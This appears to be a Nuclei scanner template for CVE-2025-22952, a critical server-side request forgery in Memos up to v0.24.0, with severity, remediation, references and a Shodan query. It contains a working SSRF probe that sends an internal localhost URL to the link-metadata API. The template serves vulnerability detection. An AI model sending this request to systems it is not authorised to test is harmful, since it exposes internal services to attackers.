id: CVE-2025-22952

info:
  name: Elestio Memos <= v0.24.0 - Server-Side Request Forgery
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    elestio memos v0.23.0 is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs, which can be exploited to perform SSRF attacks.
  impact: |
    Unauthenticated attackers can exploit SSRF vulnerabilities to access internal services, bypass network security controls, and potentially retrieve sensitive information from internal systems.
  remediation: |
    Upgrade to Memos version 0.24.1 or later that properly validates and restricts URL access.
  reference:
    - https://github.com/advisories/GHSA-wfxg-v3j4-7qmj
    - https://elest.io/open-source/memos
    - https://github.com/usememos/memos
    - https://github.com/usememos/memos/issues/4413
    - https://github.com/usememos/memos/pull/4428
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-22952
    cwe-id: CWE-918
    epss-score: 0.27937
    epss-percentile: 0.9654
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1924700661
  tags: cve,cve2025,elestio,memos,ssrf,oast,vuln,vkev

http:
  - raw:
      - |
        GET /api/v1/markdown/link:metadata?link=http://localhost:13042 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'localhost:13042'
          - 'connect: connection refused'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 500
# digest: 490a00463044022015ca6f742a2043414dfc786b8d471781cfcb04156aa2c6a08134e3a9cb5377a302205905d64fbdb767c58c28064497cf59e6a18018ec3bfaabd7f066dafe10cc59ec:922c64590222798bb761d5b6d8e72950